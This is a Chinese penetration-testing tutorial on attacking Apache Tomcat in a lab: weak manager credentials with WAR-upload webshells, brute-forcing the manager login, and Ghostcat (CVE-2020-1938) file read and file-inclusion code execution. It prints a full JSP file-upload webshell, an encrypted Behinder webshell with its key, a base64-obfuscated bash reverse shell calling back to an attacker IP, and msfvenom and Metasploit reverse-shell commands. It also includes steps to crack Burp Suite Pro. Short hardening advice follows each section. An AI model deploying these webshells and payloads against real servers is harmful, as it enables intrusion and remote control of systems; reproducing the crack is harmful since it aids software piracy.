![](https://image.3001.net/images/20240308/1709876354_65eaa4828e91d155430d9.png)
系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。
可想而知中间件连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,中间件的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的中间件中往往连接数据库,而数据库储存着等极其重要和敏感的信息。如果中间件被攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到学习Tomcat弱口令 & 后台getshell漏洞、Tomcat manager App 暴力破解、Tomcat AJP文件包含漏洞分析(CVE-2020-1938)等等,最后远程代码执行控制服务器等操作,如果连Tomcat都不会安装操作提权等,怎么进行下一步的研究Tomcat安全!怎么拿下对方服务器?
二、Tomcat渗透攻防详解
1、Tomcat弱口令 & 后台getshell漏洞
1)漏洞简介
**影响范围:**Tomcat8,但经过测试,全版本影响!
测试环境:
Tomcat 9.0.17
2)拷出源码
sudo docker ps
sudo docker exec -ti a bash
cd conf
sudo docker cp aaf15dc1493c:/usr/local/tomcat/conf/tomcat-users.xml /home/dayu/Desktop/
sudo docker cp aaf15dc1493c:/usr/local/tomcat/conf/tomcat-users.xsd /home/dayu/Desktop/
sudo docker cp aaf15dc1493c:/usr/local/tomcat/conf/web.xml /home/dayu/Desktop/
源码拷贝出来!
源码如下:
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
源码解释:
manager(后台管理):
manager-gui 拥有 html 页面权限
manager-status 拥有查看 status 的权限
manager-script 拥有 text 接口的权限,和 status 权限
manager-jmx 拥有 jmx 权限,和 status 权限
host-manager(虚拟主机管理)
admin-gui 拥有 html 页面权限
admin-script 拥有 text 接口权限
3)本地源码搭建
(1)在conf/tomcat-users.xml文件中配置用户的权限:
全部代码修改为此情况!
(2)改C:\tomcat9\conf\Catalina\localhost路径下的manager.xml文件,如果该路径下面没有此文件,可以新建一个, 内容为:
<Context privileged="true" antiResourceLocking="false"
docBase="${catalina.home}/webapps/manager">
<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="^.*$" />
</Context>
成功创建和添加以上内容,允许远程访问该manager!!
(3)登录manager页面:
正常访问,密码搭建写入的密码为:tomcat/tomcat
成功登录!
4)本地getshell复现
(1)简介
正常安装的情况下,tomcat版本中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
(2)文件上传war简介
需要上传war包
为什么需要上传war包,为什么不是tar.zip??
war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。War包可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。
(3)生成war大马包
JSP大马:
<%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*"%>
<html>
<head>
<title></title>
<style type="text/css">
body { color:red; font-size:12px; background-color:white; }
</style>
</head>
<body>
<%
if(request.getParameter("context")!=null)
{
String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");
String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");
OutputStream pt = null;
try {
pt = new FileOutputStream(path);
pt.write(context.getBytes());
out.println("<a href='"+request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+request.getRequestURI()+"'><font color='red' title='点击可以转到上传的文件页面!'>上传成功!</font></a>");
} catch (FileNotFoundException ex2) {
out.println("<font color='red'>上传失败!</font>");
} catch (IOException ex) {
out.println("<font color='red'>上传失败!</font>");
} finally {
try {
pt.close();
} catch (IOException ex3) {
out.println("<font color='red'>上传失败!</font>");
}
}
}
%>
<form name="frmUpload" method="post" action="">
<font color="blue">本文件的路径:</font><%out.print(request.getRealPath(request.getServletPath())); %>
<br>
<br>
<font color="blue">上传文件路径:</font><input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>">
<br>
<br>
上传文件内容:<textarea name="context" id="context" style="width: 51%; height: 150px;"></textarea>
<br>
<br>
<input type="submit" name="btnSubmit" value="Upload">
</form>
</body>
</html>
将dayu.jsp压缩成dayu.zip文件:
然后将dayu.zip改名为dayu.war:或者使用java命令:(也可以,因为tomcat需要java环境所以环境系统自带java命令环境执行!)
jar -cvf dayu.war dayu.jsp
(4)上传war木马:
成功上传点击部署后跳转OK界面!
查看上传位置:获得上传位置:/dayu
检查本地部署环境是否真实上传:通过查看本地,成功上传!
(5)大马检测:成功解析jsp大马,并能upload上传功能!
5)冰蝎上线jsp-shell:
上传冰蝎最新版jsp木马:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
成功上传!
这里如果开启了机场和代理请关闭,因为冰蝎会默认走导致无法上线!
6)超级木马连接
超级合集木马shell地址:
https://github.com/tennc/webshell
正常控制对方电脑!可以继续横向了!!
7)MSF上线控制
下面我用msfconsole来getshell,当然首先要选对模块
成功获得shell控制对方电脑!!
修复方案:
1、在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。
2、增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。
3、以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。
2、Tomcat manager App 暴力破解
全版本影响!
1)Kali安装Burpsuite新版
java -jar burploader.jar
打开后点击run破解即可!
讲Key复制进去!
点击MANUAL avtiveation使用即可!
然后把key复制到第二个框内!
点击Next!
这时候就成功激活破解最新版BP,完成!
使用点击Next即可!
退出后重新命令框登录:
java --illegal-access=permit -Dfile.encoding=utf-8 -javaagent:BurpSuiteCn.jar -javaagent:BurpSuiteLoader_v2020.12.1.jar -noverify -jar burpsuite_pro_v2020.12.1.jar
可看到三张图中,使用命令登录BP调用中文包也是可以的!
完成安装,并中文显示!
2)安装foxyproxy
foxyproxy
火狐插件搜索foxyproxy,安装!
Add添加安装!
成功安装后点击Option添加代理!
Burpsuite默认代理端口是8080,添加即可!
3)分析Tomcat加密原理
http://192.168.253.86:8080/manager/html
可以看到在历史抓包记录中,成功输入账号密码后,抓到了账号密码的数值是以base64加密传输的!
转换base64后密码为:tomcat/tomcat
4)base64爆破Tomcat
通过前面安装好的BP,打开后在Intruder处,选择添加base64编码!
导入密码本后,点击扫描获得了密码方式确实是base64!
dG9tY2F0OnRvbWNhdA==
注意事项:
不去掉勾选会在爆破产生URL编码,例如%3d%2a之类的,导致爆破无效!
5)另种思路爆破
重新回到登录页面抓包:
将包发送给intruder:
选中自定义迭代器:
新建三个密码文本:
位置1填入用户名:都选中base64!位置2填入符号:
位置3填入密码本:
注意url编码勾选去掉:
点击开始攻击:
爆破成功:可看到获得:
dG9tY2F0OnRvbWNhdA==
来到BP的Decoder转码器中:可看到成功获得账号和密码!
6)修复建议
1. 取消manager/html功能。
2. manager页面应只允许本地IP访问
3、Tomcat AJP文件包含漏洞分析(CVE-2020-1938)
1)漏洞简介
由于Tomcat在处理AJP
请求时,未对请求做任何验证,通过设置AJP连接器封装的request对象的属性,导致产生任意文件读取漏洞和代码执行漏洞!
CVE-2020-1938 又名GhostCat,之前引起了一场风雨,由长亭科技安全研究员发现的存在于Tomcat中的安全漏洞,由于Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector可以读取或包含Tomcat上所有webapp目录下的任意文件,例如可以读取webapp配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
影响版本:
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
**影响说明:**读取webapp下的所有文件
2)漏洞源码分析
漏洞成因是两个配置文件导致:
Tomcat在部署时有两个重要的配置文件conf/server.xml、conf/web.xml
。前者定义了tomcat启动时涉及的组件属性,其中包含两个connector(用于处理请求的组件):
如果开启状态下,tomcat启动后会监听8080、8009端口,它们分别负责接受http、ajp协议的数据。后者则和普通的java Web应用一样,用来定义servlet,这里是tomcat内建的几个servlet:
就像注解中描述的
default servlet
用来处理所有未被匹配到其他servlet的uri请求,jsp servlet
用来处理以.jsp、.jspxz
做后缀名的uri请求,这俩都随tomcat一起启动。
3)tomcat结构简介详解
tomcat的整体架构如上图所示,一个tomcat就是一个server,其中可以包含多个service(这里指是一个抽象的逻辑层)。而每个service由Connector、Container、Jsp引擎、日志等组件构成,与此次漏洞相关的组件主要是前两者。
Connector是用来接受客户端的请求,请求中的数据包在被Connector解析后就会由Container处理。这个过程大致如下图:Container中可以包含多个Host(虚拟主机,同Apache中定义),一个Host对应一个域名,因此Tomcat也可以配置多域名;每个Host又可以有多个Context,每个context其实就是一个web应用;而context下又有多个Wrapper,wrapper和servlet一一对应,只是它封装了一些管理servlet的函数。更进一步,客户端请求就交由servlet进入应用级的处理逻辑。
参考文章详细介绍,后期深入讲解:
https://xz.aliyun.com/t/7325
https://yinwc.github.io/2020/03/01/CVE-2020-1938/
4)漏洞复现-理解原理
(1)开启vulhub
利用vulnhub开启即可
sudo docker-compose up -d
成功开启!
(2)简单了解运行过程
从图中可以看出,Tomcat最顶层的容器是Server,其中包含至少一个或者多个Service,一个Service有多个Connector和一个Container组成。这两个组件的作用为:
1、Connector用于处理连接相关的事情,并提供Socket与Request和Response相关的转化;
2、Container用于封装和管理Servlet,以及具体处理Request请求;
Tomcat默认的 conf/server.xml 中配置了2个 Connector,一个为8080的对外提供的HTTP协议(1.1版本)端口,默认监听地址: 0.0.0.0:8080,另外一个就是默认的8009 AJP协议(1.3版本)端口,默认监听地址为:0.0.0.0:8009,两个端口默认均监听在外网ip。
此次漏洞产生的位置便是8009的AJP协议,此处使用公开的利用脚本进行测试,可以看到能读取web.xml文件。
5)漏洞复现-利用POC攻击
下载地址:
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
该脚本运行在python2环境下!安装好环境执行正常!
python 1.py 192.168.253.7 -p 8009 -f /WEB-INF/web.xml
成功读取
/WEB-INF/web.xml
文件的源码!
sudo docker exec -ti 8 bash
进入ROOT目录写入简单信息!
可看到都是可以读取到源码的!!文件读取漏洞!!
6)漏洞复现-文件包含RCE
该漏洞可以任意文件类型解析为jsp,从而达到任意命令执行的效果。但漏洞需要配合文件上传漏洞才可利用,假设目标服务器已经有了一个shell.png,里面内容是执行任意命令,可以执行以下命令得到命令执行结果
在线bash payload生成:
http://www.jackson-t.ca/runtime-exec-payloads.html
最终payload为txt文件:
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1My45Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
准备上传到目标服务器!
sudo docker cp /home/dayu/Desktop/dayu-RCE.txt 8fa6aa4867f3:/usr/local/tomcat/webapps/ROOT
docker命令成功将文本传到本地!
kali开启监听:
python 12.py -p 8009 -f dayu-RCE.txt 192.168.253.7
成功执行12(文件包含RCE)上线!
该漏洞可以和爆破war上传联动!
7)MSF-Java上线
msfvenom生成木马:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.253.9 LPORT=5555 R > shell.txt
将木马shell上传到ROOT目录下:
sudo docker cp /home/dayu/Desktop/shell.txt 8fa6aa4867f3:/usr/local/tomcat/webapps/ROOT
开启MSF:
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.253.9
set lport 5555
exploit -j
使用RCE执行shell.txt:
python 12.py -p 8009 -f shell.txt 192.168.253.7
成功上线到MSF进行横向即可!
8)修复建议
1、将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本进行修复。
2、禁用AJP协议
具体方法:编辑 /conf/server.xml,找到如下行:
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
将此行注释掉(也可删掉该行):
<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->
3、配置secret来设置AJP协议的认证凭证。
例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
三、总结
今天学到了Tomcat弱口令 & 后台getshell漏洞、Tomcat manager App 暴力破解、Tomcat AJP文件包含漏洞分析(CVE-2020-1938)等漏洞,最后远程代码执行控制服务器等操作,以及整改加固建议的方式方法,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!
服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)......
接下来在《服务攻防之中间件JBoss》会接触到如何进行Jboss简介、JBoss安装、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)等渗透操作,如何提权渗透等方法,请看下篇服务攻防之中间件JBoss篇下章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余